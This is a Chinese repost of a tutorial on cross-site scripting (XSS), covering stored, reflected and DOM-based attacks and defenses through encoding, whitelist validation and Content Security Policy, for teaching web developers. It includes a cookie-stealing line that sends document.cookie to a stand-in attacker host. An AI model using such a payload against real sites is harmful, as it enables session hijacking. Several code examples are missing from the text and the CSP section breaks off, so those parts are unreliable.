防止跨域攻击Java_XSS跨域脚本攻击 攻击——防御 策略分析【转】

本文深入探讨了XSS(跨站脚本攻击)的概念、攻击方式及危害,包括存储型、反射型和DOM型XSS。通过实例分析了攻击者如何利用XSS窃取用户信息。文章强调了防止跨域攻击的重要性,并提出了防御XSS的策略,如上下文敏感的编码、输入验证和Content Security Policy的使用。
摘要由CSDN通过智能技术生成

favicon.ico摘要:一、概述< h2>①XSS 是什么< h3>跨站脚本攻击(XSS)是一种代码注入攻击,攻击者利用它可以在其它用户浏览器中执行恶意 JavaS

一、概述

①XSS 是什么

跨站脚本攻击(XSS)是一种代码注入攻击,攻击者利用它可以在其它用户浏览器中执行恶意 JavaScript。

攻击者并不是直接面对受害者。而是,为了让网站替自己传输恶意 JavaScript,攻击者需要利用受害者访问的网站上的漏洞。对受害者的浏览器而言,恶意的 JavaScript 似乎是网站合法的一部分,网站在无意中成为了攻击者的共犯。

②恶意 JavaScript 是如何被注入的

攻击者在受害者浏览器中执行恶意 JavaScript 的唯一方式就是将其注入到受害者浏览的网页中。如果网站直接将用户输入显示到页面中,就可能导致恶意代码注入,因为攻击者可以插入恶意字符串,让受害者浏览器误以为是代码。

在下面的例子中,一段简单的服务端脚本用来在网页中展示最新的评论:print ""

print "Latest comment:"

print database.latestComment

print ""

上面的脚本认为评论只会包含文本。然而,由于是直接展示用户输入,攻击者可以提交类似这样的评论 。现在,访问该页面的所有用户就会接收到如下响应:

Latest comment:

当用户浏览器加载了该页面,就会执行

③恶意 JavaScript 是什么

乍一看,在受害者浏览器中执行 JavaScript 似乎并没有什么特别的危害。毕竟,JavaScript 运行在一个受到严格限制的环境中,对用户文件和操作系统只能进行非常有限的访问。事实上,你现在就可以打开浏览器的控制台,执行任意的 JavaScript,而不太可能对计算机造成任何破坏。

但是,当你考虑到下面几点时,就会更清楚恶意 JavaScript 可能造成的危害:JavaScript 可以访问用户的敏感信息,例如 cookies。

JavaScript 可以通过 XMLHTTPRequest 或是其它方式发送 HTTP 请求,将任意内容发送到任意目标。

JavaScript 可以通过 DOM 操作方法,对当前页面进行任意篡改。

上面的因素结合起来就可以造成严重的安全隐患,如下所述。

④恶意 JavaScript 有哪些危害

在其它用户浏览器中执行任意 JavaScript 的能力,使得攻击者可以进行下面几种攻击:盗取 Cookie:攻击者使用 document.cookie 可以获取受害者与网站关联的 cookie,将其发送到自己的服务器,并利用 cookie 提取敏感信息,例如 session IDs。

键盘记录:攻击者使用 addEventListener 可以注册键盘事件监听,然后将用户所有的键盘记录发送到自己的服务器,这里面可能会包含敏感信息,例如:密码或信用卡号。

钓鱼:攻击者使用 DOM 操作可以插入一个伪造的登录表单,将表单的 action 属性设置为自己的服务器地址,然后欺骗用户提交敏感信息。

尽管这几种攻击方式大不相同,但有个关键点是相同的:由于攻击者是在网站提供的页面中注入的代码,所以恶意 JavaScript 会在网站的上下文中执行。这意味着,恶意 JavaScript 与来自网站的其它脚本待遇相同:它可以访问该网站上受害者的数据(例如:cookie)和 URL 地址栏中的主机名。不论出于何种目的,被注入的脚本会被看成网站合法的一部分,网站可以做的事,它同样可以做。

这样的事实凸显了一个关键点:如果攻击者可以利用你的网站在其它用户浏览器中执行任意 JavaScript,那么你的网站及其用户的安全都受到了威胁。

为了强调这一点,本教程中的一些例子会略去恶意 JavaScript 的详细内容,只是表示为 ,这表明,不管实际中执行的是什么代码,只要攻击者注入的脚本出现,问题就存在。

二、XSS 攻击

①XSS 攻击涉及到的角色

在详细介绍 XSS 攻击如何进行之前,需要定义 XSS 中涉及到的角色。通常,一次 XSS 会涉及三个角色:网站、受害者和攻击者。网站响应 HTML 页面给发起请求的用户。在我们的例子中,网站是 http://website/。网站的数据库用来存储一些用户的输入,并输出到网站页面中。

受害者是网站的普通用户,通过浏览器请求页面。

攻击者是网站的恶意用户,准备利用网站的 XSS 漏洞发起攻击攻击者的服务器是由攻击者控制,唯一的用途是盗取用户敏感信息。在我们的例子中,位于 http://attacker/

②一次攻击示例

在这个例子当中,我们假设攻击者的目标是通过利用网站 XSS 漏洞盗取受害者的 cookie。这可以通过在受害者浏览器中执行如下代码实现:

window.location='http://attacker/?cookie='+document.cookie

上面的脚本将浏览器导航到新的页面,并触发一次 HTTP 请求到攻击者的服务器。URL 将受害者的 cookie 作为查询参数,当请求到达攻击者服务器时,攻击者就可以提取 cookie。一旦攻击者拿到了 cookie,他就可以冒充受害者,进而发起更深入的攻击。

从现在起,我们将上面的 HTML 代码称为恶意字符串或是恶意脚本。需要注意的是,上面的字符串只有被受害者浏览器作为 HTML 解析之后,才会产生危害。

③示例攻击如何进行

下图展示了攻击者如何进行攻击:

20190119032341375.png攻击者利用网站的表单插入恶意字符串到网站数据库中。

受害者从网站中请求页面。

网站在响应中包含了来自数据库的恶意字符串,并返回给受害者。

受害者的浏览器执行了响应中的恶意字符串,将受害者的 cookie 发送到了攻击者的服务器。

④XSS 类型

尽管 XSS 攻击的目标都是在受害者浏览器中执行恶意 JavaScript,还是有几种完全不同的方式来实现该目标的。XSS 攻击通常可以分为三类:存储型 XSS(Persistent XSS),恶意字符串来自网站数据库

反射型 XSS(Reflected XSS),恶意字符串来自受害者的请求

DOM 型 XSS(DOM-based XSS),漏洞位于客户端代码而不是服务端代码

前面的例子展示了存储型 XSS 攻击。接下来介绍另外两种:反射型 XSS 和 DOM 型 XSS。

⑤反射型 XSS

在反射型 XSS 中,恶意字符串是受害者向网站发起的请求的一部分。然后,网站将包含恶意字符串的响应返回给了受害者。如下图所示:

20190119032401686.png攻击者精心构造了一个包含恶意字符串的 URL,将其发送给受害者

攻击者欺骗受害者,使其访问了该 URL

网站在响应中包含了来自 URL 的恶意字符串

受害者浏览器执行了响应中的恶意字符串,将自己的 cookie 发送到了攻击者的服务器

⑥如何成功发起反射型 XSS 攻击

首先,反射型 XSS 看起来是无害的,因为它需要受害者亲自发起一个包含恶意字符串的请求。而没有人会自愿攻击自己,乍看起来是没办法发动攻击的。

恰恰相反,至少有两种常见的方式,会导致受害者发起针对自己的反射型 XSS 攻击。如果目标用户是特定的某个人,攻击者可以发送恶意 URL 给受害者(例如:使用邮件或是即时消息),并欺骗受害者访问该 URL。

如果目标用户是一大群人,攻击者可以发布指向恶意 URL 的链接(例如:在自己的网站或是社交网络上),并等待受害者点击。

这两种方式类似,并且都可以通过利用短网址服务来提高成功率,短网址会使得恶意字符串难以分辨。

⑦DOM XSS

DOM XSS 是存储型 XSS 和 反射型 XSS 的变种。在 DOM XSS 攻击中,一直到页面运行了 JavaScript,恶意字符串才被实际的解析。

下图展示了 DOM XSS 攻击。

20190119032416157.png攻击者精心构造了一个包含恶意字符串的 URL,将其发送给受害者。

攻击者欺骗受害者,使其访问了该 URL

网站接收到响应,但是响应中并不包含恶意字符串

受害者浏览器执行响应中合法的 JavaScript,导致恶意代码插入到了页面中

⑧DOM XSS 的不同之处在哪

在前面存储型和反射型 XSS 示例中,服务端把恶意脚本插入到页面中,然后将其作为响应发送给受害者。当受害者浏览器接收到响应时,会把恶意脚本当作是页面的合法内容,在页面加载过程中与其它脚本一同执行。

在 DOM XSS 示例中,恶意脚本并没有插入到页面中,在页面加载过程中,只有合法的 JavaScript 被执行。问题在于,合法的 JavaScript 直接将用户输入插入到页面中。因为恶意字符串通过 innerHTML 插入到页面中,就会作为 HTML 解析,导致恶意脚本执行。

两者的区别很小但是很重要:在传统的 XSS 中,恶意 JavaScript 作为服务端发送页面的一部分,在页面加载时被执行

在 DOM XSS 中,恶意 JavaScript 在页面加载完成后某个时间点执行,是由页面合法 JavaScript 没有安全处理用户输入造成的。

⑨为什么 DOM XSS 很重要

在上面的 DOM XSS 例子中,JavaScript 并不是必须的;服务端就可以生成完整的 HTML。如果服务端代码不存在漏洞,那么网站就不存在 XSS。

但是,随着 WEB 应用越来越高级,越来越多的 HTML 是在客户端通过 JavaScript 生成而不是在服务端生成。任何时候不刷新整个页面,需要更新内容,就必须通过 JavaScript 进行。值得注意的是,AJAX 请求后更新页面就是这样的例子。

也就是说,XSS 漏洞不仅可以出现在网站服务端代码,还可能出现在客户端 JavaScript 代码中。结果就是,即使服务端代码完全没问题,在页面加载完成后,客户端代码还是可能在 DOM 更新中不安全的包含了用户输入。一旦发生,客户端代码就存与服务端无关的 XSS 漏洞。

⑩对服务端不可见的 DOM XSS

有一种特殊的 DOM XSS,恶意字符串不会被发送到网站服务端:当恶意字符串位于 URL 的片段标识符中(# 号之后)。浏览器不会发送 URL 的片段标识符到服务端,这样,服务端代码就没方法获取它。虽然客户端代码可以获取它,但是如果没有进行安全处理就会出现 XSS 漏洞。

并不是只有片段标识符会出现这种情况。对服务端不可见的用户输入还包括 HTML5 的新特性,例如:LocalStorage 和 IndexedDB。

三、防御 XSS

①防御 XSS 的方法

记住,XSS 攻击是一种代码注入:用户输入被错误的解释为恶意程序代码。为了防止这种类型的代码注入,需要对输入进行安全处理。对 web 开发者而言,可以采用两种不同的方式:编码,转义用户输入,这样浏览器就只会将其解释为数据而不是代码。

校验,过滤用户输入,这样浏览器就可以将其解释为没有恶意命令的代码。

尽管这两种方式有着本质的区别,但是它们还是存在共同点,在使用过程中,理解这些共同点很重要:上下文:根据用户输入在页面中插入位置的不同,需要进行不同的安全处理

流入/流出(inbound/outbound):安全处理要么在网站接收输入时(inbound)进行,要么在网站将输入到插入页面之前(outbound)进行

客户端/服务端:安全处理可以在客户端进行,也可以在服务端进行。在某些情况下,需要在客户端和服务端同时进行安全处理。

在详细介绍如何进行编码和校验之前,我们先来逐个解释以上三点。

输入处理的上下文

在网页中,用户输入可能插入的地方有很多。每个地方的上下文不同,要遵循指定规则才能保证用户输入不会打破上下文,被解释为恶意代码。下面是常见的上下文:上下文示例代码HTML element content

userInput

HTML attribute value

URL query valuehttp://example.com/?parameter=userInput

CSS valuecolor: userInput

JavaScript valuevar name = "userInput";

为什么上下文很重要

如果用户的输入在编码和校验之前就插入到页面中,在上面提到的上下文中都可能产生 XSS 漏洞。攻击者要想注入恶意代码,他只需插入对应上下文的结束分隔符,紧接着是恶意代码。

例如,如果某个站点将用户输入直接插入到 HTML 属性中,攻击者通过以引号作为开头的输入就可以注入恶意脚本,如下所示:Application codeMalicious string">

只需移除用户输入中的所有引号就可以避免上面的 XSS,但这只对该上下文有效。如果相同的输入插入到其它的上下文,结束分隔符可能就不同,又可能导致注入。所以说,需要根据用户输入插入点的上下文,进行不同的安全处理。

流入/流出(inbound/outbound)的输入处理

仅凭直觉,似乎只需在网站接收到用户输入时,对其进行编码或是校验就可以防止 XSS。用这种方式,任何恶意代码插入到页面中的时候都已经失效了,生成 HTML 的脚本就无需关心安全处理。

问题在于,前面也提到过,用户输入可以插入到页面中很多地方。确定用户输入最终会插入到哪一种上下文并不简单,而且相同的用户输入经常需要插入到不同的上下文。依赖 inbound 输入处理来防御 XSS 是一种非常脆弱的方案,很容易出错。(PHP 废弃的特性 magic quotes 就是这样的方案)

反倒是,outbound 输入处理应该作为防御 XSS 的首要阵线,因为它可以考虑到用户输入即将插入的特定上下文。换句话说,inbound 校验可以用来作为第二层保护,后面会再提到。

在哪里进行安全处理

当前,在大多数 web 应用中,客户端代码和服务端代码都会涉及到处理用户输入。为了防御所有类型的 XSS,安全处理也要同时在服务端和客户端进行。为了防御传统的 XSS,安全处理必须在服务端代码进行。通过服务器支持的语言实现。

为了防御服务器接收不到恶意字符串的 DOM XSS,(例如,前面的提到的片段标识符攻击)安全处理必须在客户端进行。通过 JavaScript 实现。

现在我们已经解释过为什么上下文很重要,为什么区分 inbound 和 outbound 输入处理很重要,为什么安全处理需要同时在客户端代码和服务端代码同时进行。接下来,将要阐述两种安全处理(编码和校验)是如何进行的。

②编码

编码用来转义用户输入,这样浏览器就会将其解释为数据而不是代码。在 web 开发中最常见的就是 HTML 转义,它会把字符 < 和 > 分别转换为 < 和 >。

下面的伪代码展示了服务端代码如何对用户输入进行 HTML 转义,然后将其插入到页面中:print ""

print "Latest comment: "

print encodeHtml(userInput)

print ""

如果用户输入为字符串 ,输出 HTML 结果如下:

Latest comment:

<script>...</script>

由于所有有特殊含义的字符都被转义了,所以浏览器不会把用户输入当作 HTML 解析。

在客户端和服务端进行编码

当在客户端进行编码时,使用的是 JavaScript,它包含针对不同上下文对数据进行编码的函数。

当在服务端进行编码时,可用的函数和服务端的语言和框架有关。考虑到服务端语言和框架多种多样,该教程不会涉及特定语言或框架的编码。不管怎样,熟悉客户端编码函数对编写服务端代码也是很有帮助的。

在客户端编码

当在客户端使用 JavaScript 编码用户输入时,有一些内置的方法和属性会自动根据上下文进行编码:上下文方法、属性HTML element contentnode.textContent = userInput

HTML attribute valueelement.setAttribute(attribute, userInput) or element[attribute] = userInput

URL query valuewindow.encodeURIComponent(userInput)

CSS valueelement.style.property = userInput

前面提到的最后一种上下文(JavaScript values)并不包含在内,because JavaScript provides no built-in way of encoding data to be included in JavaScript source code.

编码的局限性

即使进行了编码,在一些上下文中还是可能输入恶意字符串。一个值得注意的示例如下,当用户输入用来提供 URL:document.querySelector('a').href = userInput

尽管给一个超链接元素的 href 属性赋值,会自动编码保证其成为属性值而不是其它,但这并不能阻止攻击者插入以 "javascript:" 开头的 URL。当点击链接时,URL 中嵌入的 JavaScript 就被执行。

当你希望用户可以自定义页面部分代码时,编码这种处理方式就不太合适了。例如:在个人资料页,用户可以自定义 HTML。如果对这些 HTML 进行编码,那么个人资料页只能包含纯文本了。

在这种情况下,编码必须配合校验进行,下面介绍校验。

③校验

校验是指过滤用户输入,以便移除所有恶意的部分,而无需移除其中所有代码。在 WEB 开发中最常见的一种校验就是允许一些 HTML 元素(例如: )但是不允许其它一些(例如:

根据实现方式的不同,主要有两种典型的校验方法:分类策略(Classification strategy):使用黑名单或白名单对用户输入进行分类。

validation outcome:被确认为有恶意的用户输入,可以选择拒绝或是净化。

分类策略(Classification strategy)

黑名单

直觉上,通过定义一个不允许出现在用户输入中的禁止模式(forbidden pattern),来进行校验是合理的。如果字符串匹配了该模式,就被标记为非法。例如:允许用户提交自定义的任意协议的 URL,除了 javascript: 伪协议。这种分类策略称为黑名单。

但是,黑名单有两大缺点:复杂:准确的描述所有可能的恶意字符串的集合通常是一项非常复杂的任务。上面例子中,通过简单地搜索子字符串 "javascript:" 来实现是不行的,因为这会漏掉字符串的其它变种,例如: "Javascript:"(首字母大写)和 "javascript:"(首字母编码成了字符引用)

容易失效:即使开发出了完美的黑名单,一旦浏览器增加了允许恶意用户使用的新特性,黑名单就失效了。例如,在 HTML5 onmousewheel 属性出现之前开发的 HTML 验证黑名单,就不能防御使用该属性进行的 XSS 攻击。这个缺点在 WEB 开发中尤其明显,因为使用到的多种技术都在不断地更新中。

由于这些缺点,强烈反对使用黑名单作为分类策略。通常,白名单是一种更加安全的方式。

白名单

白名单基本上和黑名单是相反的:不是定义禁止模式,而是定义允许模式(allowed pattern),如果字符串不匹配该模式,则标记为非法。

对照前面黑名单的例子,允许用户提交自定义 URL 的白名单只包含 http: 和 https: 协议,不包含其它。使用这种方式会自动将包含 javascript: 协议的 URL 标记为非法,即使它以 "Javascript:" 或 "javascript:" 形式出现。

和黑名单相比,白名单的两大优点是:简单:通常,准确的描述一个安全的字符串的集合要比定义一个包含所有恶意字符串的集合要简单很多。尤其是,在一般情况下,用户输入只需是浏览器功能的有限子集时更是如此。例如,用于描述上面只允许 http: 或 https: 协议的 URL 的白名单是很简单的,并且在大多数情况下完全够用。

持久性:不像黑名单,当有浏览器增加新特性时,白名单一般不会失效。例如:一个 HTML 校验白名单只允许 HTML 元素上出现 title 属性,即使 HTML5 新增了 onmousewheel 属性,白名单依然有效。

Validation outcome

当输入被标记为非法,可以采取两种行为:拒绝:简单粗暴的拒绝该输入,阻止其在网站的任何地方使用

净化:移除所有非法部分,剩余部分正常用在网站中

两种方式中,拒绝最容易实现。话虽如此,净化通常更有用,因为它允许用户的输入范围更广。例如,如果一个用户提交信用卡号,净化过程中通过移除所有非数字字符来防止代码注入,同时可以允许用户在数字间使用连字符。

如果你决定使用净化,必须保证净化过程本身没有使用黑名单的方式。例如:即使 URL"Javascript:..."被白名单标记为非法,只需移除所有的 "Javascript:" 还是可以使其通过净化流程。因此,测试完备的库和框架还是应该尽可能的使用净化。

③选用哪种方法

编码应该作为防御 XSS 的第一阵线,因为编码的目的就是 neutralize data,保证其不会被解释为代码。上面提到过,在某些情况下,需要用校验来辅助编码。应该在 outbound 处使用编码和校验,因为只有当输入展示到页面中时,你才知道要编码或校验的上下文。

作为第二阵线,你应该使用 inbound 校验来净化或是拒绝那些明显非法的数据,例如:使用 javascript: 协议的链接。虽然仅凭这并不能保证绝对安全,但是如果第一阵线由于失误或是错误导致没有正确进行,第二阵线就成了有用的预防措施。

如果能一贯的落实这两道防线,你的网站应该不会遭受 XSS 攻击。但是,考虑到开发和维护整个网站的复杂性,要想仅通过对输入进行安全处理就达到绝对安全是很困难的。作为第三道防线,你应该使用马上就要讲到的内容安全策略(Content Security Policy)。

④Content Security Policy(CSP)

仅凭对输入进行安全处理来防御 XSS 的不足之处在于一个安全上的小失误就可以威胁到整个网站。被称为内容安全策略(CSP)的 WEB 标准可以降低这一风险。

CSP 用来限制浏览器 viewing your page 保证其只能使用从可信任的源下载的资源。资源可以是脚本、样式表、图片或是页面引用的其它类型文件。也就是说,即使攻击者成功在网站中注入了恶意代码,CSP 可以防止其被执行。

CSP 可以用来强制实施下面的规则:No untrusted sources:外部资源只能从一个明确定义的可信源集合中加载

No inline resources:不执行行内(inline) JavaScript 和 CSS

No eval:不可以使用 JavaScript 函数 eval

应用 CSP

在下面的例子中,攻击者成功在某个页面中注入了恶意代码:

Latest comment:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值